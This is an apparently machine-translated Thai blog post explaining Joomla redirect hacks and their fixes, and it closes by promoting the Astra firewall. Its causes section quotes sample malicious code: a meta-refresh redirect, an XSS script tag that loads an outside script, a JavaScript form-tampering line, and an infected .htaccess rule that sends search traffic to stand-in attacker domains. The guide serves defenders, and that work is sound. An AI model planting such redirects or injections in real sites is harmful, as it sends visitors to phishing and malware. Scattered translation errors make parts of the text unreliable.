Joomla เพิ่มความสะดวกสบายให้งานทั่วไปในการจัดการเว็บไซต์ ขับเคลื่อนโดยชุมชนโอเพนซอร์ส CMS นี้ใช้งานง่าย Joomla ยังนิยมเนื่องจาก extensions หลากหลายที่เสนอ ช่องโหว่หลายอย่างถูกค้นพบใน Joomla ในปีนี้ ครอบคลุม Joomla XSS, File intrusion ถึง Joomla SQL injection ฯลฯ ช่องโหว่เหล่านี้ดึงดูดโจมตีที่พยายามได้ประโยชน์จากการใช้ประโยชน์จากพวกมัน นักพัฒนาปล่อยแพตช์เร็ว แต่ผู้ใช้ใช้เวลาอัปเดต ทำให้ Joomla จำนวนมากเปราะบางต่อ exploits หนึ่งครั้งถูกบุก เว็บไซต์ Joomla จะอยู่ที่舵ของโจมตี โจมตีสามารถบิดเบือนหรือทำลายมัน หรือดำเนินการ Joomla redirect hack การแฮก redirect ของ Joomla พบได้ค่อนข้างบ่อย เพราะช่วยโจมตีเก็บ clicks (harvest clicks) Joomla redirect hack ยังช่วยโจมตีบริการสแปม ตามหนังสือ Joomla Web Security,
Joomla Redirect Hack: อาการ
Joomla redirect hack มักยากต่อการตรวจจับ ผู้ดูแลเว็บอาจไม่รู้นานๆ เขา/เธออาจได้รับการแจ้งเตือน только เมื่อบางผู้ใช้ร้องเรียนว่าจบอยู่ที่อื่นจากเว็บไซต์ อาการทั่วไปของเว็บไซต์ที่ถูกบุกโดย Joomla malware redirects คือ:
- ผู้ใช้ถูก redirect ไปยังโดเมนไม่รู้จัก
- เว็บไซต์โฆษณาปลอมถูกบริการให้ผู้เยี่ยมชม
- เว็บไซต์อาจพยายามติดตั้งมัลแวร์บนอุปกรณ์ของผู้ใช้
- เว็บไซต์อาจถูกแบนเพราะบริการสแปม
- หน้าลับลวง (Fake phishing pages) ปรากฏบนเว็บไซต์ โดยเฉพาะหน้าชำระเงิน
- Pop-ups หลายๆ ต่อเนื่องกันอาจปรากฏ
Joomla Hacked Redirect: ตัวอย่าง
Joomla malware redirect ทำให้ web admins หงุดหงิดทั่วอินเทอร์เน็ต บ่อยครั้ง การตอบสนองแรกคือขอความช่วยเหลือจากฟอรั่มชุมชน Joomla บางครั้ง Joomla redirect hack กลับมาอีกหลังทำความสะอาด ตัวอย่างบางกรณีแสดงด้านล่าง
Joomla Redirect Hack: สาเหตุ
DNS Hijacking
DNS hijacking มี implication ที่รุนแรง บริษัทใหญ่อย่าง Wikileaks เคยเป็นเหยื่อของการโจมตี DNS Hijacking ด้วยเทคนิคนี้ โจมตีสามารถ re-route traffic ทั้งหมด ของเว็บไซต์ Joomla ของคุณได้ โดยเฉพาะ บริษัทใหญ่ต้องรักษาความปลอดภ DNS servers ของพวกเขา DNS hijacking สามารถดำเนินการผ่านสองช่องทาง:
- การเปลี่ยนแปลง Hosts File: คอมพิวเตอร์แต่ละเครื่องมีไฟล์ Hosts.txt ของตัวเอง ไฟล์นี้ช่วยแปลง hostnames เป็น IPs ที่ตรงกัน โจมตีมัลแวร์ขนาดใหญ่สามารถเปลี่ยนแปลง hosts file ของคอมพิวเตอร์ได้ คอมพิวเตอร์เหล่านี้จึงจะ redirect ไปยังโดเมนที่โจมตีควบคุม แทนที่จะเป็นเว็บไซต์ Joomla ของคุณ ดังนั้น จึงดำเนินการ Joomla malware redirect
- การโจมตี DNS Server: DNS เป็นโปรโตคอลเก่า ดังนั้น ระบบทั้งหมดพึ่งพาความเชื่อ DNS server สื่อสารผ่าน slave และ master servers Master ถ่ายโอน zones ไปยัง slave servers เมื่อมีคำขอ DNS zones โดยพื้นฐานคือสำเนาของ local database นี่มีข้อมูลละเอียดอ่อนเกี่ยวกับเครื่องจักรที่อาจไม่มองเห็นได้ผ่านเครื่องมือค้นหาสาธารณะ ดังนั้น โจมตีตั้ง rogue slave server ขึ้นและได้รับสำเนาของ zone ด้วยข้อมูลนี้ โจมตีพยายามโจมตีเครื่องจักรที่เปราะบางและบุกเครือข่าย นอกจากนี้ โจมตีสามารถเปลี่ยนแปลง local DNS server ได้ ดังนั้น คำขอทั้งหมดจึง redirect ไปยังเครื่องที่โจมตีควบคุม ดังนั้น จึงดำเนินการ Joomla redirect hack สำเร็จ!
นอกจากนี้ การโจมตีเหล่านี้สามารถดำเนินการบนเครือข่าย LAN ที่ public wifi ได้ โจมตีอาจตั้ง fake DNS proxy ขึ้น ซึ่งจะ resolve IP ของเว็บไซต์ Joomla ของคุณไปยังเครื่องที่โจมตีควบคุม ดังนั้น หลอกล่อผู้ใช้ท้องถิ่นทั้งหมดให้ redirect ไปยังเว็บไซต์ Joomla ปลอม ดังนั้น จึงดำเนินการ Joomla redirect hack สำเร็จ!
SQL Injection
ปีนี้เพียงอย่างเดียว Joomla ถูกพบว่ามีช่องโหว่ SQLi หลายอย่าง คอมโพเนนต์ที่เปราะบางในหนึ่งในนั้นคือ User Notes list view & ได้ชื่อว่า CVE-2018-8045 ช่องโหว่นี้อนุญาตให้โจมตีรันคำสั่ง SQL บนเซิร์ฟเวอร์ นำไปสู่การเปิดเผยตารางละเอียดอ่อนของฐานข้อมูล ข้อมูลล็อกอินที่ได้จากที่นี่สามารถบุกแดชบอร์ดได้ แดชบอร์ดจะให้โจมตีความสามารถในการติดเชื้อแต่ละไฟล์ด้วยโค้ด Javascript เพื่อสร้าง redirects บ่อยครั้ง โจมตีพยายามทำให้กระบวนการนี้อัตโนมัติ และดังนั้นอัปโหลดสคริปต์ที่ทำภารกิจนี้ โจมตีอาจฉีดภายในไฟล์ที่มีอยู่หรือสร้างไฟล์ใหม่เพื่อแทรก Joomla hacked redirects ไฟล์ติดเชื้อที่สร้างขึ้นบ่อยซึ่งสร้าง Joomla hacked redirects ได้แก่:
- /uuc/news_id.php
- /zkd/news_fx.php
- /dgmq/w_news.php
- /cisc/br-news.php
ในกรณีที่คุณสังเกตเห็นไฟล์ดังกล่าว ให้ดำเนินการลบพวกเขา แต่ละไฟล์จะมีโค้ด redirect อันตราย จะมีลักษณะอย่างนี้:
<meta http-equiv="refresh" content="2; url=https://attackerDOMAIN.com/ "> ไฟล์เหล่านี้ redirect ผู้ใช้โดยใช้ Meta tags ผู้เยี่ยมชมถูก redirect ไป attackerDOMAIN.com ควรทราบว่าบางครั้งเว็บไซต์ Joomla อาจเปราะบางต่อ Stacked Based SQLi สิ่งนี้ให้โจมตีความสามารถในการรัน system commands โจมตีจึงสามารถติดเชื้อไฟล์ด้วยโค้ด redirect อันตรายโดยใช้คำสั่ง SQL เพียงอย่างเดียว!
Cross Site Scripting (XSS)
XSS เป็นเพื่อนสนิทของ SQLi เมื่อพูดถึงช่องโหว่ที่พบบ่อย ชุด XSS vulnerabilities ทั้งหมดถูกค้นพบใน Joomla ในปีนี้ รวมถึง CVE-2018-15880, CVE-2018-12711, CVE-2018-11328, CVE-2018-11326 ตัวรุนแรงที่สุดในรายการคือ CVE-2018-12711 สิ่งนี้เกิดจากโมดูล 'language switcher module' ที่ผิดปกติ นี่อนุญาตให้ URL ของบางภาษาติดเชื้อ JS ด้วยการใช้ XSS โจมตีสามารถดำเนินการโจมตีอื่นๆ ได้ เช่น การขโมยคุกกี้ นอกจากการทำ Joomla malware redirects
<script%20src="https://maliciousSite.com/bad.js"></script>
โค้ดที่นี่ เมื่อฉีดหลังพารามิเตอร์ที่เปราะบาง สามารถ redirect ผู้ใช้ได้ ผู้ใช้ถูก redirect ไป maliciousSite.com และสคริปต์อันตราย bad.js ถูกโหลด สคริปต์ bad.js สามารถดำเนินการ Javascript ทุกประเภทได้ ขึ้นอยู่กับโมทีฟของโจมตี การใช้ประโยชน์จาก XSS โจมตีสามารถหลอกเหยื่อไปหน้าลับลวง นอกจากการทำ Joomla redirect hacks
Javascript Injection
Javascript มีอำนาจมากและมักใช้ทำภารกิจไดนามิก อย่างไรก็ตาม การขาดแนวปฏิบัติการเขียนโค้ดปลอดภ ที่นักพัฒนา extensions บางคนปฏิบัติ ทำให้ Joomla เปราะบางต่อ Javascript injection เหมือน XSS, Javascript injection สามารถใช้ดำเนินการ Joomla hacked redirect ได้ การทดสอบ heuristic สำหรับ Javascript injection สามารถทำได้ ใน address bar ของเว็บไซต์ที่คุณกำลังเยี่ยมชม พิมพ์:
javascript:alert(‘Hello World!’);
หากเว็บไซต์แสดงกล่องข้อความว่า 'Hello World!’ แล้วเว็บไซต์เปราะบาง จากนี้ โจมตีสามารถจัดการเว็บไซต์ได้หลายวิธี ตัวอย่างเช่น โจมตีสามารถเพิ่ม fake URLs ไปยังฟิลด์เฉพาะของฟอร์ม
javascript:void(document.forms[0].redirect01.value="fakeDOMAIN.com") โค้ดชิ้นนี้กำลังผนวกค่า fakeDOMAIN.com ไปยัง input ที่ชื่อ redirect01 ดังนั้น ฟิลด์นั้นจะมีลิงก์ไปยังเว็บไซต์ปลอม อย่างไรก็ตาม ควรทราบว่าคล้าย Reflected XSS การโจมตีนี้ดำเนินการบนเครื่องท้องถิ่นออนไลน์ ดังนั้น เพื่อหลอกผู้ใช้ระยะไกล โจมตีจะต้องพึ่งพาเทคนิค Social Engineering อื่นๆ
ไฟล์ .htaccess
.htaccess เป็นไฟล์อันทรงพลังที่สามารถทำหลายภารกิจ นอกจากการป้องกันบางประเภทของ script injection attacks มักใช้สร้าง redirects ในกรณี Joomla redirect hack .htaccess จะติดเชื้อโค้ดอย่าง:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteRule .* https://MaliciousDomain.tld/redirect.php?t=3 [R,L]
บรรทัดสุดท้ายในสนิปเพทโค้ดนี้ redirect ผู้ใช้ไป MaliciousDomain สิ่งนี้ทำได้โดยใช้สคริปต์ redirect.php นอกจาก .htacces ไฟล์อย่าง index.php ก็มักติดเชื้อเช่นกัน เนื่องจาก index.php เป็นหน้าแรกที่ผู้ใช้มาถึง จึงมีส่วนทำให้ user traffic มาก การโจมตีจึงพยายามบุก index.php เพื่อเบี่ยงเบน traffic สูงสุด traffic ที่เบี่ยงเบนนี้ ช่วยโจมตีเก็บ clicks (harvest clicks)
Joomla Redirect Hack: วิธีแก้ไข (Fixes)
รักษาความปลอดภ DNS Server
จำกัด zone transfer ให้ต่ำสุด กำหนด slave DNS servers ทั้งหมดล่วงหน้า เพื่อไม่ให้ rogue slave ขอ zone transfer ได้ สามารถทำได้โดยแก้ไขไฟล์ named.conf.local ตัวอย่างดูภาพด้านล่าง
ชิ้นโค้ดนี้กำหนด slave DNS servers ล่วงหน้า i.e. secundario01 ดังนั้น อนุญาต zone transfers ให้เฉพาะเซิร์ฟเวอร์ที่เชื่อถือได้ บางครั้ง DNS servers ยังถูกใช้ใน data exfiltration attacks ดังนั้น ตรวจสอบแพ็กเก็ตข้อมูลที่ผ่าน DNS servers แบบ real-time สามารถทำได้ด้วยเครื่องมือที่สะดวกอย่าง Wireshark
ทำความสะอาดฐานข้อมูล (Clean the Database)
เมื่อโค้ดที่รับผิดชอบ Joomla redirect hack ซ่อนอยู่ใน core files มันจะยากต่อการตรวจจับ อย่างไรก็ตาม มีบางอย่างร่วมกันในไฟล์ติดเชื้อทั้งหมด นั่นคือ โค้ดอันตรายที่รับผิดชอบ redirects ไฟล์ทั้งหมดแบบนี้สามารถค้นหาได้ในคลิกเดียวโดยใช้เครื่องมือจัดการฐานข้อมูลอย่าง PhpMyAdmin ตัวอย่างดูภาพด้านล่าง
PhpMyAdmin มาพร้อมฟังก์ชันค้นหาที่ทำให้การตรวจจับง่าย เครื่องมือนี้สามารถค้นหา ทุกหน้า/โพสต์ ที่มีสคริปต์อันตราย hxxp://maliciousSITE[.]com/bad.php ในโค้ดของพวกเขา นอกจากนี้ เครื่องมือนี้ยังสามารถใช้เพื่อ:
- ตรวจสอบแอดมินใหม่และลบพวกเขา
- รีเซ็ตรหัสผ่านฐานข้อมูล
- ทำความสะอาดตารางที่ติดเชื้อ
- ย้อนกลับการเปลี่ยนแปลงในกรณีโจมตีทำลายฐานข้อมูล
โฆษณาบุคคลที่สาม (Third Party Advertisements)
บ่อยครั้ง web admins อนุญาตโฆษณาบุคคลที่สามบนเว็บไซต์เพื่อหารายได้ อย่างไรก็ตาม บางเครือข่ายโฆษณาไม่เล่นตามกฎ ความหลวมหลายในการบริการเนื้อหาโฆษณาอนุญาตให้ผู้เล่นอันตรายฉีดโค้ด redirect ภายในโฆษณา นอกจากนี้ สคริปต์อันตรายส่วนใหญ่โฮสต์บนเซิร์ฟเวอร์อื่น ซึ่งทำให้เรื่องซับซ้อนขึ้น หากการติดเชื้อเกิดซ้ำหลังทำความสะอาด ซ้ำๆ ลองบล็อกโฆษณา หาก Joomla redirect hack หยุดลง แล้วมันอาจเป็นเพราะโฆษณาอันตรายบนเว็บไซต์ ดังนั้น ติดต่อเครือข่ายโฆษณาและแก้ไขปัญหา
สafety measures อื่นๆ (Other Precautions)
- อัปเดตมีการแก้ไขความปลอดภสำคัญ ซึ่งสามารถตรวจสอบได้จาก changelog ดังนั้น อัปเดตเป็นประจำเพื่อรักษาความปลอดภ Joomla
- ใช้ extensions ที่มีชื่อเสียงเท่านั้น หลีกเลี่ยงการใช้ extensions null หรือเขียนโค้ดไม่ดี นอกจาก core files ให้อัปเดต extensions ของคุณด้วย
- ข้อมูลประจำตัวที่ปลอดภ สามารถลดโอกาส brute force attack ได้
- รักษาความปลอดภสิทธิ์ไฟล์สำหรับเซิร์ฟเวอร์ ให้แน่ใจว่าสิทธิ์สำหรับไฟล์อย่าง
.htaccessตั้งค่าเป็น444 (r–r–r–)หรือ440 (r–r—–) - ในกรณีที่คุณสงสัยการแก้ไขไฟล์ ให้ล็อกอินผ่าน SSH. บนเทอร์มินัล รันคำสั่งต่อไปนี้
find /path-of-www -type f -printf '%TY-%Tm-%Td %TT %pn' | sort -routput ที่ได้จะเป็นรายการไฟล์ที่แก้ไขตาม timestamps ของแต่ละไฟล์ จากที่นี่ ตรวจสอบไฟล์ด้วยตนเอง คอมเมนต์บรรทัดโค้ดน่าสงสัยด้วยตัวอักษร '#' หลังจากนั้น ปรึกษาผู้เชี่ยวชาญเพื่อประเมินไฟล์!
ไฟร์วอลล์ (Firewall)
สำคัญที่จะรับรองว่า Joomla redirects hack ไม่เกิดซ้ำ อย่างไรก็ตาม โจมตีอาจกำลังมุ่งเป้าเว็บไซต์ตลอดเวลา ในสถานการณ์ดังกล่าว กลไกป้องกันที่มีประสิทธิภาพที่สุดคือการใช้ไฟร์วอลล์ การรวมไฟร์วอลล์ค่อนข้างง่ายและสะดวก โซลูชันความปลอดภที่มีในตลาดวันนี้ scalable ได้ง่าย อย่างตัวที่ Astra ซึ่งสมบูรณ์แบบสำหรับบล็อกเล็กๆ และเว็บไซต์ช็อปปิ้งใหญ่ๆ นอกจากนี้ Astra แจ้งเตือนผู้ใช้ผ่านอีเมลทุกครั้งที่มีไฟล์ถูกแก้ไข
Astra
Astra มี track record ที่ดีเมื่อพูดถึงการบล็อก Joomla malware redirects นอกจากนี้ packet filtering ที่ Astra ปรับใช้ รับรองว่าไม่มี bad request จากโจมตีทำลายเว็บไซต์ของคุณ นอกจากนี้ Astra ดำเนินการ security audit ของเว็บไซต์ Joomla ของคุณและแจ้งเตือนคุณ หากพบช่องโหว่ใดๆ ดังนั้น จึงเก็บคุณอยู่หนึ่งขั้นโจมตี ผสมผสานที่สมบูรณ์แบบระหว่างการสนับสนุนมนุษย์และอัตโนมัติ Astra แนะนำอย่างยิ่งเพื่อบล็อก Joomla redirect hack